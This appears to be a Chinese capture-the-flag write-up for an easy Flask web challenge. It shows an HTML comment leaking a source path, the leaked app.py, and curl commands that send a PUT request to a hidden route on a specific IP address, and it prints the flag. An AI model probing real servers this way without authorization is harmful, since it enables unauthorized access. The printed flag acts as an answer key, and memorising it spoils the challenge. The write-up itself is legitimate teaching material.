题目信息
- 题目名称: charlottesweb
- 题目类型: Web
- URL:http://49.232.142.230:17616
- Flag 格式: wctf{}
- 难度: Easy
考点分析
- HTTP 方法绕过:FLAG 端点只接受 PUT 方法,GET/POST 请求返回 404
- 源码泄露:HTML 注释泄露
/src路径,获取完整 Flask 源码 - Web 侦察:页面隐藏信息收集
解题思路
1. 信息收集
访问首页,查看 HTML 源码发现注释:
<!-- /src -->暗示存在源码文件/src。
2. 获取源码
访问/src获取app.py:
importflask
app = flask.Flask(__name__)@app.route('/', methods=['GET'])defindex():returnflask.send_file('index.html')@app.route('/src', methods=['GET'])defsource():returnflask.send_file('app.py')@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])defflag():returnopen('flag').read()关键发现:
- Flag 端点在
/super-secret-route-nobody-will-guess - 仅接受 PUT 方法(不是 GET!)
- 直接 GET 访问该路径会返回 404
3. HTTP 方法切换
使用 PUT 方法请求 flag 端点:
curl -X PUT http://49.232.142.230:17616/super-secret-route-nobody-will-guess关键命令
# 1. 查看首页,发现 /src 注释curl -s http://49.232.142.230:17616/# 2. 获取源码curl -s http://49.232.142.230:17616/src# 3. 用 PUT 方法获取 flagcurl -s -X PUT http://49.232.142.230:17616/super-secret-route-nobody-will-guessFlag
wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}注意事项
- HTTP 方法差异:Web 浏览器默认使用 GET,开发者常用
@app.route限制方法。CLI 工具(curl、httpie)可以轻松切换方法。 - 注释是宝藏:HTML 注释、JS 注释常泄露隐藏路径和敏感信息。
- Flask
send_file:利用了源码文件读取,/src直接返回app.py文件内容。 - Gunicorn + Flask:Server 头
gunicorn确认了 Python Web 应用栈。 - Flask methods:
methods=['PUT']表示该路由只接受 PUT 请求,GET/POST/DELETE 都无效。